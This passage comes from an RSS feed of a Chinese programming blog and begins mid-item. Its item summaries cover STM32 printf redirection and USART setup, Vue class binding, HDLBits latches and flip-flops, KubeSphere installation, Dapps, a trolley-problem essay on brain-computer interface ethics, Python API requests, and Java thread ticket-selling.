Case），也被称为Pascal命名法：每一个单词的首字母都采用大写字母。例如：FirstName、LastName。&#xA;驼峰命名法主要用于命名变量、函数或类。不同的编程语言和不同的项目可能会有不同的约定，例如，Java中的变量和函数常常使用小驼峰命名，而类名使用大驼峰命名；JavaScript中也常常使用小驼峰命名法。总的来说，关键是保持一致性和清晰性。</description>
    </item>
    <item>
      <title>关于STM32F4系列中printf重定向问题详解</title>
      <link>https://bchobby.github.io/posts/cdbcca5cf71ba1b166bf339cfaacbdd6/</link>
      <pubDate>Mon, 26 Jun 2023 20:31:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cdbcca5cf71ba1b166bf339cfaacbdd6/</guid>
      <description>前言&#xA;关于printf函数和fputc函数联系和区别&#xA;联系：&#xA;1.共同目标：&#xA;printf 函数和 fputc 函数都用于将字符输出到指定的输出流中。&#xA;2.字符输出：&#xA;两个函数都可以用于输出一个字符，但在实际使用时，printf 函数通常用于输出格式化的数据，而 fputc 函数更常用于单个字符的直接输出。&#xA;区别：&#xA;1.功能差异：&#xA;printf 函数提供了更高级别的功能，可进行格式化输出、数值转换、对齐等操作。而 fputc 函数仅仅将单个字符写入到指定的输出流中。&#xA;2.参数类型：printf 函数接受格式化字符串和可变参数列表作为参数，因此可以输出多个不同类型的数据。而 fputc 函数接受一个字符和指向输出流的指针作为参数。&#xA;3.使用场景：由于 printf 函数提供了丰富的格式控制和数据转换功能，通常用于日常的输出和调试。而 fputc 函数更适合在特定情况下，直接将单个字符输出到指定设备或文件中。&#xA;为什么在stm32中要重定向printf函数？&#xA;在STM32微控制器中，printf 函数是用于将格式化的字符串输出到标准输出的函数。然而，默认情况下，STM32芯片并没有直接连接一个用于标准输出的终端设备，如串口或LCD显示屏。因此，为了使用 printf 函数来输出调试信息或结果，需要对其进行重定向。&#xA;====================================================&#xA;其实在printf函数内部来说，是封装了一个fputc函数来进行字符输出操作&#xA;所以这就是本节内容，如何在stm32中重定向printf，就是重定向fputc函数，本节使用串口实现，直接看代码实现&#xA;直接在你写的usart.c中添加即可&#xA;//重定向fputc函数 int fputc(int ch, FILE *f)&#x9;//两个标准参数 { //将要发送的数据通过串口1发送出来（可以用电脑上的串口调试软件接收） USART_SendData(USART1, ch);&#x9;//等待发送是否完成 while(USART_GetFlagStatus(USART1,USART_FLAG_TXE) == RESET); return ch; } 如何找到这个函数和函数详解如下：&#xA;以下是关于STM32F4芯片给的寄存器手册，具体查找为何要这样重写&#xA;根据上图，我已经把为何重定向和如何重定向，以及重定向函数参数都做了仔细解读&#xA;使用：&#xA;1.直接在main函数直接使用printf函数即可（其他地方也可以使用，注意添加头文件）&#xA;int main(void) { Usart1_Init(); while(1) { //添加好stdio.h头文件之后，就可以正常使用printf函数了，方便以后调试 printf(&#34;你好，热爱代码陌生人！\n&#34;); delay_ms(1000); } 2.</description>
    </item>
    <item>
      <title>【vue小知识】给DOM元素动态的添加上一个类||v-bind的妙用</title>
      <link>https://bchobby.github.io/posts/83048d1157c19c8e245a881bed1d229a/</link>
      <pubDate>Mon, 26 Jun 2023 20:23:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83048d1157c19c8e245a881bed1d229a/</guid>
      <description>😉博主：初映CY的前说(前端领域) ,📒本文核心：vue文件怎么给DOM元素加上一个类&#xA;项目场景： 在前端页面逻辑操作中通常是存在click事件,添加点击效果是为了让页面操作起来更加的有操作性与互动性,那么有什么方式可以实现当我点击自动地为当前的DOM元素添加上一个属于它的类/或多个?&#xA;博主经常用判断是否点击当前项的地方，当我在页面上有点击某处，某处就高亮显示，其他取消高亮效果。&#xA;前言 DOM介绍&#xA;DOM是指文档对象模型（Document Object Model），是一种对于XML或HTML文档的内容进行抽象化和规范化的方法。DOM将整个文档视为一个树型结构，树的每个分支都表示文档中的一个元素，从而可以通过编程的方式来访问和修改文档的内容。&#xA;DOM可以通过JavaScript来访问，并且可以通过JavaScript来改变HTML或XML文档的结构、样式和内容。具体来说，DOM可以让开发者通过代码来增加、修改或删除HTML或XML文档中的元素、属性和文本，从而实现对网页的动态操作和交互。&#xA;在前端开发中，DOM是非常重要的一部分，因为它可以帮助开发者实现对网页的动态操作和交互，从而提高用户体验。同时，也可以通过DOM来实现一些比较复杂的功能，例如表单验证、数据检索、数据筛选和展示等。&#xA;DOM说白了就是我们在页面上看到的由HTML标签解析后的产物&#xA;v-bind介绍&#xA;v-bind是Vue.js提供的一个指令，用于动态绑定属性。它可以绑定的属性包括class、style、src、href等。通过v-bind指令，可以将Vue实例中的数据绑定到HTML元素的属性上，从而实现数据和视图的实时同步。v-bind指令通常使用简写方式“:”来表示，例如“:class”、“:style”等。下面是v-bind的使用示例&#xA;&amp;lt;template&amp;gt; &amp;lt;div :class=&#34;{&#39;active&#39;: isActive}&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div v-bind:class=&#34;{&#39;active&#39;: isActive}&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; 在上述示例中，isActive是Vue实例中定义的数据属性，通过v-bind指令与HTML元素的class、src、href属性进行绑定。当Vue实例中的数据发生改变时，绑定的HTML元素属性也会自动更新。&#xA;动态添加类： 在 Vue 中，可以通过绑定 class 的方式动态添加类。&#xA;我们可以使用 v-bind 或简写的 : 来绑定 class，然后在需要使用 class 的属性上使用绑定变量。&#xA;例如，假设我们有一个 data 中的属性 isActive ，我们希望当这个属性值为 true 时，添加一个名为 active 的类。&#xA;&amp;lt;!-- 绑定一个类 --&amp;gt; &amp;lt;div :class=&#34;{ active: isActive }&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;!-- 绑定多个类 --&amp;gt; &amp;lt;div :class=&#34;{ active: isActive, &#39;text-red&#39;: isRed }&#34;&amp;gt;&amp;lt;/div&amp;gt; 代码演示： 此处我是在App.vue文件下写的，下面这段代码可以直接CV到自己的App.vue文件中去。&#xA;结构说明： 我创建了一个div给他设置了一个box1的的类，当我点击之后我i希望加上另外一个类来改变当前的显示效果。</description>
    </item>
    <item>
      <title>STM32F407 USART配置</title>
      <link>https://bchobby.github.io/posts/b5824e748cd31c8504eb6cb4ef75f07e/</link>
      <pubDate>Mon, 26 Jun 2023 18:54:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5824e748cd31c8504eb6cb4ef75f07e/</guid>
      <description>什么是USART？&#xA;USART（Universal Synchronous/Asynchronous Receiver Transmitter）是一种通用同步/异步收发器，常用于串行通信。USART可以通过串行线路将数据进行传输，用于与其他设备（如计算机、微控制器、外设）进行通信。&#xA;通信相关：&#xA;全双工：同时接收和发送&#xA;半双工：同一时间只能发送或接收&#xA;单 工：要么只能发送要么只能接收&#xA;串行：(单车道)&#xA;传输原理：数据按位顺序来传输&#xA;优点：占用引脚少&#xA;缺点：速度低&#xA;并行：(8车道)&#xA;传输原理：数据各个位同时传输&#xA;优点：速度快&#xA;缺点：占用多个引脚&#xA;USART可以通过两种模式进行通信：同步模式和异步模式。&#xA;本章节stm32中以异步模式配置&#xA;在异步模式下，数据以帧的形式传输，每个帧包含一个起始位（Start Bit）、数据位（Data Bits）、校验位（Parity Bit）和停止位（Stop Bit）。帧的长度通常为 8 位（1 个起始位、6-8 个数据位、1 个奇偶校验位和 1-2 个停止位），但也可以是其他长度。&#xA;串口：&#xA;串口一般默认为全双工通信，USART一般也被称为串口&#xA;串口必备要素：&#xA;信号线：&#xA;TXD：发送数据的信号线&#xA;RXD：接收数据的信号线&#xA;传输参数：&#xA;起始位：发送器一般是通过发送起始位来表示一个字符的传输&#xA;数据位：要发送的那个字符的每一位数据&#xA;停止位：用来表示一个字符的传输结束&#xA;校验位：用于检测数据传输是否正确，USART使用的是奇偶校验位，用来检查数据是否有丢失&#xA;波特率：每秒传输多少bit位数据，例如115200就是一秒传输115200个bit位&#xA;在STM32使用串口，首先添加USART外设，添加相关固件&#xA;根据芯片封装原理图找到每块开发板对应的引脚（例如我的stm32F407ZET6主控开发板）&#xA;由图可以看出，我这款芯片串口1复用的引脚为PA9（tx）和PA10（rx）&#xA;根据原理图可知，串口1 的两条信号线分别为：&#xA;PA9：USART_TX，发送信号线，复用输出模式&#xA;PA10：USART_RX，接收信号线，复用输入模式&#xA;分析串口初始化配置，如图（图片来的更直观一些）&#xA;下面是具体的配置步骤，虽然图片已经很清楚了，但是为了还有人不明白，再具体写一下&#xA;具体芯片以具体情况来看，我这个是STM32F4系列的库函数，如果有小伙伴学习STM32F1系列的，库函数可能不同，但是配置步骤大同小异&#xA;1、使能时钟：USART1、GPIO&#xA;RCC_APB2PeriphClockCmd(RCC_APB2Periph_USART1,ENABLE); RCC_AHB1PeriphClockCmd(RCC_AHB1Periph_GPIOA,ENABLE); 2、初始化GPIO，并选择复用功能&#xA;//初始化GPIO引脚，以及复用 GPIO_InitTypeDef GPIO_struct_init; GPIO_struct_init.GPIO_Pin = GPIO_Pin_9|GPIO_Pin_10;&#x9;//引脚 GPIO_struct_init.GPIO_Mode = GPIO_Mode_AF;&#x9;//输出模式：复位 GPIO_struct_init.</description>
    </item>
    <item>
      <title>HDLBits学习（五）Circuits--Sequential Logic(时序逻辑)-Latched and Fli-Flops</title>
      <link>https://bchobby.github.io/posts/0e111ecda514a1f25d40acfe3a063161/</link>
      <pubDate>Mon, 26 Jun 2023 17:42:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e111ecda514a1f25d40acfe3a063161/</guid>
      <description>Latches and Flip-Flops(触发器和锁存器) Dff——D触发器 D Latch 从做题的角度来说，首先你得认识这个元件。同 D触发器相比，这个元件没有 clk 端口，取而代之的是 ena 端口，所以这是一个锁存器。锁存器的特征在于，相较于 D触发器的触发事件发生于 clk 时钟的边沿，锁存器锁存的触发事件发生于使能端 ena 的电平。&#xA;当你成功实现了这个锁存器时，Quartus 会提醒（祝贺）你生成了一个锁存器。锁存器相比触发器会消耗更多的资源，所以综合器会在推断出锁存器时产生提醒，防止开发者在不想使用锁存器时，因为代码风格等原因误产生了锁存器。&#xA;always@(*)begin&#xA;if(ena)begin&#xA;q&amp;lt;=d;&#xA;end&#xA;end 上图为带有异步复位AR端口的D触发器 asynchronous reset&#xA;code：&#xA;module top_module (&#xA;input clk,&#xA;input d, input ar, // asynchronous reset&#xA;output q);&#xA;always@(posedge clk or posedge ar)begin&#xA;if(ar)begin&#xA;q &amp;lt;= 1&#39;b0;&#xA;end else begin&#xA;q &amp;lt;= d;&#xA;end&#xA;end&#xA;endmodule&#xA;同步复位&#xA;always @(posedge clk)begin&#xA;if(r)begin&#xA;q &amp;lt;= 0;&#xA;end else begin</description>
    </item>
    <item>
      <title>【云原生-K8s】k8s可视化管理界面安装配置及比较【Kubesphere篇】</title>
      <link>https://bchobby.github.io/posts/f2f8eb6159ed9d2308a3a3c51d39f1dd/</link>
      <pubDate>Mon, 26 Jun 2023 17:42:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2f8eb6159ed9d2308a3a3c51d39f1dd/</guid>
      <description>总览 安装了k8s控制面板，方便日常的问题处理，查看资源状态信息，也可以增加子账号进行开放给其他人员使用，减少命令操作，提升工作效率&#xA;前置条件 须有一个正常使用的k8s集群附k8s v1.23版本搭建：https://blog.csdn.net/u010800804/article/details/124524688 Kubesphere【推荐】 面向云原生应用的容器混合云KubeSphere 愿景是打造一个以 Kubernetes 为内核的云原生分布式操作系统，它的架构可以非常方便地使第三方应用与云原生生态组件进行即插即用（plug-and-play）的集成，支持云原生应用在多云与多集群的统一分发和运维管理。 资源信息 KubeSphere 是在 Kubernetes 之上构建的以应用为中心的多租户容器平台，提供全栈的 IT 自动化运维的能力，简化企业的 DevOps 工作流。KubeSphere 提供了运维友好的向导式操作界面，帮助企业快速构建一个强大和功能丰富的容器云平台。中国官方网站：https://www.kubesphere.io/zh/开源地址：https://github.com/kubesphere/kubesphere平台内置的多租户设计，让不同的团队能够在一个平台中不同的企业空间下，更安全地从云端到边缘部署云原生应用。开发者通过界面点击即可快速部署项目，平台内置丰富的云原生可观测性与 DevOps 工具集帮助运维人员定位问题和快速交付。KubeSphere 还能帮助基础设施团队在数据中心与多个云上高效地部署与运维多集群，避免单一云厂商绑定。 KubeSphere 是在 Kubernetes 之上构建的面向云原生应用的分布式操作系统，完全开源，支持多云与多集群管理，提供全栈的 IT 自动化运维能力，简化企业的 DevOps 工作流。它的架构可以非常方便地使第三方应用与云原生生态组件进行即插即用 (plug-and-play) 的集成。&#xA;作为全栈的多租户容器平台，KubeSphere 提供了运维友好的向导式操作界面，帮助企业快速构建一个强大和功能丰富的容器云平台。KubeSphere 为用户提供构建企业级 Kubernetes 环境所需的多项功能，例如多云与多集群管理、Kubernetes 资源管理、DevOps、应用生命周期管理、微服务治理（服务网格）、日志查询与收集、服务与网络、多租户管理、监控告警、事件与审计查询、存储管理、访问权限控制、GPU 支持、网络策略、镜像仓库管理以及安全管理等。&#xA;KubeSphere 还开源了 KubeKey 帮助企业一键在公有云或数据中心快速搭建 Kubernetes 集群，提供单节点、多节点、集群插件安装，以及集群升级与运维。&#xA;在线安装 最小化安装 KubeSphere 准备工作 Kubernetes 版本必须为：v1.20.x、v1.21.x、* v1.22.x、* v1.23.x 和 * v1.24.x。带星号的版本可能出现边缘节点部分功能不可用的情况。因此，如需使用边缘节点，推荐安装 v1.21.x机器满足最低硬件要求：CPU &amp;gt; 1 核，内存 &amp;gt; 2 GB检查集群中是否有默认 StorageClass（准备默认 StorageClass 是安装 KubeSphere 的前提条件）参考地址：https://www.kubesphere.io/zh/docs/v3.3/installing-on-kubernetes/introduction/prerequisites/ 命令安装 在k8s master节点执行命令 kubectl apply -f https://github.</description>
    </item>
    <item>
      <title>Dapp介绍</title>
      <link>https://bchobby.github.io/posts/6b765e2ffc8888b6209560c69bbdfa88/</link>
      <pubDate>Mon, 26 Jun 2023 17:28:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b765e2ffc8888b6209560c69bbdfa88/</guid>
      <description>未来可期 人生值得&#xA;目录&#xA;一、什么是Dapp?&#xA;二、Dapp和App有什么区别？&#xA;区别总结&#xA;三、成为区块链Dapp，必须具备以下条件：&#xA;四、Dapp的分类&#xA;五、Dapp的优点是什么？&#xA;六、Dapp的缺点是什么？&#xA;七、Dapp的特点&#xA;八、Dapp的目前发展&#xA;九、Dapp的未来趋势&#xA;一、什么是Dapp? Dapp是Decentralized Application的缩写，翻译过来就是去中心化应用，也称为分布式应用。&#xA;Dapp 就像您使用的任何其他软件应用程序一样没有什么区别。它可以是您手机上的网站或应用程序。Dapp 与传统应用程序(APP)的不同之处在于它是建立在分布式（P2P）网络上运行的软件应用程序。它不是托管在集中式服务器上，而是托管在点对点分散式网络上。比如以太坊。&#xA;一句非常直白的话来解释Dapp，那就是：把我们目前依靠IOS和Android系统开发的App抓出来，扔在区块链系统上，结合智能合约，它就成了Dapp。&#xA;二、Dapp和App有什么区别？ Dapp强调分布式&#xA;传统App强调中心化；&#xA;Dapp强调去中心化；去中心化，不是不要中心，而是由节点来自由选择中心、自由决定中心。必须运行在分布式的操作系统，即区块链系统上。Dapp上的数据归用户所有，而非Dapp的开发者，即个人隐私不会被第三方收集。&#xA;虽然Dapp的运行尽管不依靠任何中心服务器，但是离不开智能合约。只有依托智能合约的约束，才能让Dapp无需听命于任何中心化服务器或节点，实现自治。&#xA;数据可以进行加密储存&#xA;App信息存储在数据服务平台，可以由运营方直接修改；&#xA;Dapp数据加密后存储在区块链，难以篡改; Dapp数据加密后存储在区块链上，由区块链负责数据的保存和交换，这样就可以在没有中介的情况下进行产权交易和销售。同时，Dapp必须保证参与者的信息被安全存储，保护个人的数字资产、产权不被破坏、泄露。&#xA;有一定的Token奖励机制&#xA;App没有奖励机制;&#xA;Dapp需要Token用以激励矿工验证及创造区块；矿工需用POW工作证明来换取更多的Token和权益。简单来说，Token是维持一个Dapp发展的重要动力。&#xA;区别总结 对比App，两者最大不同就是中心化与去中心化。App先要有钱，所以先融资；然后再有人，所以招齐人后再开发运营。而Dapp则是继承传统App并结合区块链的特点所形成的产物，它更像是众筹模式、共享模式和去中心化模式，Dapp先有发起人或组织，写好白皮书明确了共识机制和token分配与激励，持有token的人即为股东，直接和Dapp的盈利关联（也可以说用户即是股东），持有的token像股票可以买卖，在支持的交易所交易，所以持有该Dapp的token相当于拥有所有者权益。可以想象，未来各个领域都会有Dapp，每个人都将因token分类、以token群分。&#xA;三、成为区块链Dapp，必须具备以下条件： 应用程序必须完全开源，自主运行，没有实体控制。应用程序的数据和记录必须完全公开。应用程序必须使用加密货币（不一定是系统本身的代币）。 四、Dapp的分类 根据去中心化的对象，Dapp可以进行分类。对于一个中心化服务器而言，包括计算、存储能力，以及所产生的数据三个方面，而由数据之前的关联度又产生了某种特定的“关系”。因此一般而言，去中心化包括以下几类，&#xA;一是基于计算能力的去中心化（如POW机制）二是基于存储能力的去中心化（如IPFS）三是基于数据的去中心化（如STEEMIT）四是基于关系的去中心化（如去中心化ID） 五、Dapp的优点是什么？ Dapp在以下几个方面拥有优势：&#xA;去中心化：没有单点故障，政府或者个人很难控制整个网络。持续工作：依靠P2P系统，即使个人的电脑或者一部分网络瘫痪，Dapp依然可以运行。区块链基石：通过智能合约可以轻松将加密货币整合到Dapp的基本功能中。源代码公开：促进Dapp生态系统的广泛开发，促使开发者开发出更多有用和有趣的功能。 六、Dapp的缺点是什么？ Dapp在以下几个方面也有缺陷：&#xA;黑客：因为Dapp的智能合约是开源的，黑客可以分析并找到漏洞。Dapp很容易遭到黑客的攻击，这可能会威胁用户的资金安全。可用性：很多Dapp几乎都没有用户界面，但随着时间推移这方面应该会改善。用户：Dapp的使用用户很少，导致了Dapp交互性很差。抵制审查：Dapp可以自由运行的能力导致了旁氏骗局、逃出骗局和所谓的暗杀市场。 七、Dapp的特点 DApp通过网络节点去中心化操作。可以运行在用户的个人设备之上，比如：手机、个人电脑。永远属于用户，也可以自由转移给任何人。DApp运行在对等网络。不依赖中心服务器，不需要专门的通信服务器传递消息，也不需要中心数据库来记数据。数据保存在用户个人空间，可能是手机，也可能是个人云盘。DApp数据加密后存储在区块链上。可以依托于区块链进行产权交易、销售，承载没有中介的交易方式。DApp参与者信息被安全储存。可以保护数字资产，保证产权不会泄露、被破坏。DApp必须开源、自治。可以由用户自由打包生成，签名标记所属权。它的发布不受任何机构限制。 各种创意与创新可以自由表达和实现。 八、Dapp的目前发展 一个新技术的发展，一般会经历触发期、期望膨胀期、幻想破灭期、复苏期、价值期。&#xA;目前，基于区块链技术的Dapp尚处于早期探索状态，还没有大规模实际应用价值的Dapp出现。但不可否认的是区块链技术带给了我们巨大的想象空间，从现在的情形来看打造完全去中心化的app至少还需要几年时间。&#xA;虽说Dapp还没有达到绝大多数人手机都有安装的程度，但Dapp的发展已经在路上。&#xA;九、Dapp的未来趋势 Dapp的优势在于，它有着区块链特有的数据确权、价值传递等特有功能，Dapp在用户认证流程变更、行业生产关系变更、交易安全、降低技术开发成本、减少运维成本等等方面具有很大的优势，也能在最大程度上提升用户的体验感、参与感。&#xA;区块链技术的去中心化特征，给我们带来了巨大的遐想空间，基于区块链技术的Dapp目前还没有大规模实际应用，可以说是处于襁褓中，但却有着巨大的发展空间。我们相信，随着区块链的继续发展，Dapp相关应用会随着技术的发展而得到进一步普及。</description>
    </item>
    <item>
      <title>脑机接口科普0023——黑门03：伦理道德中的电车难题</title>
      <link>https://bchobby.github.io/posts/1a490ba1786df124b491dc1383b754d9/</link>
      <pubDate>Mon, 26 Jun 2023 16:31:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a490ba1786df124b491dc1383b754d9/</guid>
      <description>本文禁止转载！！！！！&#xA;脑机接口科普0022——黑门02：伦理道德问题_sgmcy的博客-CSDN博客&#xA;前文中，罗列了一下脑机接口这个技术中，会遇到哪些伦理道德的问题。&#xA;前文末，以黑门中救人的一个话题，展示了脑机接口中的其中一个伦理问题。&#xA;确切的说，这个救人的伦理问题，从来不是属于脑机接口单独的伦理问题，是所有人工智能产业都会遇到的伦理问题。&#xA;救A还是救B? 这个问题或许过于简单，现实中，遇到的问题，要比这个更加复杂，所以，有人就提出了“电车难题”，试图以这个难题，挑战人的道德底线。&#xA;有一列火车，如果正常行驶，就会杀掉5个人。&#xA;你是那个具有操纵杆权限的人&#xA;你如果拉一下操纵杆，那么火车就会杀一个人。&#xA;这个问题，就是伦理道德问题，没有正确答案，怎么选，都是错的。怎么选，都会受到伦理道德的“审判”！！！&#xA;这个电车难题中涉及的伦理，其实应用在智能驾驶中，是最合适的。&#xA;智能驾驶，做决策的是机器，而非人。在上图的情况下，智能系统该下什么命令，去撞死一个人还是去撞死3个人？&#xA;所以现在的智能汽车，不得不分为5个等级，什么L0~L4&#xA;其实分等级，最主要的原因，就是没解决上面这个撞人的问题。其他都是次要问题。&#xA;智能驾驶，我可以设置的速度慢一点，可以使用雷达探测器进行探测，只要有一点点障碍物，我都可以等待，直到障碍物消失。这样系统也可以有足够的时间做出决策，进行刹车，避免速度太快，来不及反应，造成交通事故。&#xA;这种情况下，智能驾驶是可以实现的。&#xA;但是，还是那句话，“既要。。。。又要。。。。还要。。。。”&#xA;如果智能驾驶，真的像我上述一样，速度那么慢（话说京东的快递车就是走固定路线，并长时间等待），那么早就被人吐槽死了。所以做智能驾驶的公司，既要速度很快（跟人开的速度一样快），又要安全，还要达到的性能更优（比如可以在完全陌生的路段开。在完全陌生的路段，人驾驶的时候都会放慢速度观察的）。&#xA;就是智能驾驶这种“既要。。。。又要。。。。还要。。。。”的精神，导致智能驾驶不得不面对上述的伦理问题，出车祸，选择撞一个人，还是选择撞一堆人。&#xA;话又说回来了，出了车祸，这个法律责任是谁来承担，是个人，还是智能系统，还是智能系统背后的汽车开发商，还是汽车开发商背后的数据处理团队？&#xA;没解决上述电车难题中的伦理问题，智能驾驶，永远是处于试验品阶段。永远不能真正落地运行。&#xA;在前文脑机接口科普0022——黑门02：伦理道德问题_sgmcy的博客-CSDN博客中也举了《黑门》动漫中人工智能驾驶的例子。&#xA;到了2058年，人工智能也只是辅助驾驶，到了特地的阶段，还是需要人来手动操控方向盘来驾驶。&#xA;想起了《三体》里面罗辑复苏苏醒后的一段对话。&#xA;罗辑沉睡了185年后，苏醒了，有个大屏幕上的美女客服跟罗辑打招呼，说可以帮罗辑办理好各种身份证明，银行卡等等，以帮助他适应这个新的智能社会。&#xA;罗辑看着眼前这个美女客服，问：你是真人吗？还是虚拟的人工客服？&#xA;美女客服笑着回答：我当然是真人了啊！&#xA;逻辑一听，心想，完蛋了，人类发展了几百年，人工智能技术还是被三体的智子给封印了，那些表面的繁华社会，不过仅仅是一些所谓的“人工智能”表层应用，真正的基础科学还是没有完全突破三体人的封锁。&#xA;程序员有十层楼需要爬。具体是哪十层楼，网上有类似的文章介绍。其中，文章中介绍了第是一层楼，这个第11层楼，就是上帝。&#xA;上帝最伟大的功能是什么？是创造人。&#xA;有些人会说，我也可以跟我对象创造人啊，我也是上帝吗？&#xA;上帝是基于没有的东西创造了人，你是基于已有的物质创造了人（也就是说，人已经存在了，上帝创造人的时候，人是不存在的），所以你不是上帝。&#xA;假如，给你一堆泥土和石头，你可以从这些石头里面，提炼出芯片，并且用这些芯片，做成了一个机器人，并且从这些泥土石头里面，培育出了一些类似人的皮肤的材料，附着上这个机器人上面，并且，你写了代码，让这个机器人足够的智能，跟我们现在的人类一样聪明，并且还有感情，那么，你就成为了上帝。&#xA;因为，你创造了一个人工智能，一个不是碳基生命的人，你创造了一个硅基生命的人。&#xA;这个硅基生命生命的人，与我们正常人一样，有情感，有思维，有执行力，有决策力，他也受到跟正常碳基生命一样的法律约束，一样的伦理道德约束。&#xA;你，就是上帝！就是女娲！&#xA;很明显，任何人工智能的发展，都必将面临伦理道德的难题。&#xA;不解决这些伦理道德的难题，任何人工智能的发展最后都必将寸步难行。&#xA;回过头来，谈谈本文说的电车难题。&#xA;如果你是那个决策者，你会选择死一个人，还是选择死5个人？&#xA;如果对这个电车难题进行升级呢？如下文所介绍的一样：&#xA;设立盲盒、修改轨道……这还是你印象中的“电车难题”吗？&#xA;你会怎么选择呢？毕竟，现实中的伦理道德，可比这个假设的情况更加复杂。&#xA;链接中的电车难题，假设了各种情况，比如，你要么就选择死5个人，如果你选择死1个人，后面其他人也要受你选择的影响，他们还会继续面临着电车难题。&#xA;解决伦理道德难题的方法，或许，法律是一种途径。&#xA;正如法外狂徒张三所说，老婆和妈掉水里了，救哪一个？法律规定，救妈。&#xA;但是，诚如法外狂徒张三，也说出了如下的例子：&#xA;法外狂徒张三还举过这么个例子，说一个20几岁的年轻人，救了一个90几岁的人，好像是消防员救人，也好像是救溺水者。&#xA;这个问题怎么理解？&#xA;张三说，生命不是简单的数字替换，不是简单的加减。生命的本质还有其他的含义。还有整个社会的核心价值观。&#xA;对，这个社会的核心价值观，就是指，伦理道德。&#xA;法律，是解决伦理道德问题的方法之一，但法律解决不了所有的伦理道德问题。&#xA;最后，谈一个额外的话题。&#xA;就是关于法制社会。&#xA;西方社会，认为法制社会是最好的。人人都按照法律来。&#xA;但是，殊不知的是，法律，造成了这个社会的人情淡薄，造成了钻法律的漏洞。&#xA;我们这个国家，历经了五千年，在这五千年的时间内，中国人探索了很多治理国家的方法。&#xA;什么王道治天下，霸道治天下，无为而治，法治，人治，孝治，仁治。。。。。。&#xA;要明白一个事情，就是对于一个面积超级大的国家，民族超级多的国家而言，法制不是一个唯一的途径，必须是多种混合模式综合起来治理的方式。&#xA;单单一个法制，会造成很多社会问题的。&#xA;最简单的，如果单纯靠法制，会有多少人犯罪，如果宣传一些积极向上的价值观，以道德伦理来约束众人，不要犯罪，也是极好的。甚至，佛教道教里面，导人向善，也是可取的，去除掉宗教里面的迷信成分，这也是宗教存在的价值。&#xA;回到黑门里面救A还是救B的问题，这就是一个伦理道德问题。&#xA;这个问题无解，不管怎么做，都会有问题。&#xA;如果把两个人都救活了，监管机构会调查主人公的师傅，因为他没有按照指令救人。&#xA;如果系统下发指令需要救的人，没有救活，那么这个没有救活的人的家属，会法律控告这个医生或者监管机构。&#xA;如果癫痫病人没有救活，那么,癫痫病人的家属，会控告这个医生或者监管机构，见死不救。&#xA;总之，里外不是人，怎么都是错。</description>
    </item>
    <item>
      <title>如何使用API接口在Python中抓取数据</title>
      <link>https://bchobby.github.io/posts/32ce894cf4db7ab63b48d74eda7afa5f/</link>
      <pubDate>Mon, 26 Jun 2023 15:56:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32ce894cf4db7ab63b48d74eda7afa5f/</guid>
      <description>随着互联网技术的发展和数据的遍及，数据战争已经愈发充分地展开。各种数据的来源、采集和分析方式也不断涌现。其中，通过API接口进行网站数据抓取，已经成为了数据分析和应用开发的必备技能之一。这篇文章将为大家介绍如何使用API接口在Python中抓取网站数据。&#xA;API接口是数据共享的标准化方式之一，它可以将网站的数据以规定的格式（JSON或XML）发布出来，供需要访问数据的用户进行访问和数据抓取。Python是一个强大的编程语言，具有良好的数据处理和实现能力，它可以很好地实现通过API接口抓取网站数据的操作。&#xA;首先，要进行API接口网站数据抓取，我们需要获取API密钥。通常这需要注册一个帐户来获得API密钥，比如国外常用的是Google的API接口，而国内常用的是百度地图、高德地图等API接口。这里以百度地图为例，步骤如下：&#xA;在百度地图开放平台中申请API Key。根据API文档中指定的接口格式，通过Python中的requests库向API接口发送请求。解析API接口返回的JSON或XML格式的响应内容，并对其进行处理和分析。 其中，requests库为Python中常用的HTTP客户端库，可以方便地向服务器发送HTTP请求，并支持HTTPS协议和HTTP代理，可以满足大多数情况下的数据抓取需要。下面以使用requests库中的get()方法向百度地图API接口发送HTTP请求为例：&#xA;import requests ak = &#39;your_api_key&#39; url = &#39;http://api.map.baidu.com/location/ip?ak=%s&amp;amp;ip=myip&#39; % ak response = requests.get(url) python复制代码&#xA;其中，ak为API密钥，url为API接口请求的URL，response为API接口返回的响应对象。接下来，我们可以使用Python中的json库解析响应内容，并对其进行处理和分析：&#xA;import json result = json.loads(response.text) if result[&#39;status&#39;] == 0: city = result[&#39;content&#39;][&#39;address_detail&#39;][&#39;city&#39;] print(&#39;您当前所在城市为：%s&#39; % city) else: print(&#39;获取城市信息失败&#39;) python复制代码&#xA;以上代码中，我们成功地从百度地图API接口中抓取了当前IP地址所在的城市信息，并将其输出到控制台上。&#xA;总的来说，Python + API接口的数据抓取是数据分析和应用开发过程中，不可或缺的技能之一。通过学习和掌握API接口的使用，我们可以更加便捷地抓取网站数据，并将其用于数据分析和各类应用开发中。</description>
    </item>
    <item>
      <title>sleep、wait、yield、join(卖票卖票)</title>
      <link>https://bchobby.github.io/posts/2a004dd051a24de386883cc5919cca0d/</link>
      <pubDate>Mon, 26 Jun 2023 15:52:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a004dd051a24de386883cc5919cca0d/</guid>
      <description>1、首先是经典的双线程卖票 public class Test extends Thread{ private int num = 1000; @Override public void run() { while (this.num&amp;gt;0){ System.out.println(Thread.currentThread().getName()+&#34;出售了&#34;+this.num+&#34;号票&#34;); num--; } } public static void main(String[] args) { Test test1 = new Test(); Thread thread1 = new Thread(test1, &#34;一窗口&#34;); Thread thread2 = new Thread(test1, &#34;二窗口&#34;); thread1.start(); thread2.start(); } } 当然以上代码也就产生了经典的一票多卖的问题，产生的原因是因为线程在修改一个变量的值时，会从主存将此变量的值拷贝一个副本，每次是先修改的副本，然后再更新主存中的值，由此就造成了其它线程获取主存中值时获取到的不是最新的值，也就造成了卖票重复。&#xA;如果有的同学电脑运行速度飞快，不会出现这样问题，可以参照3.1的代码，模拟此问题。&#xA;2、synchronized 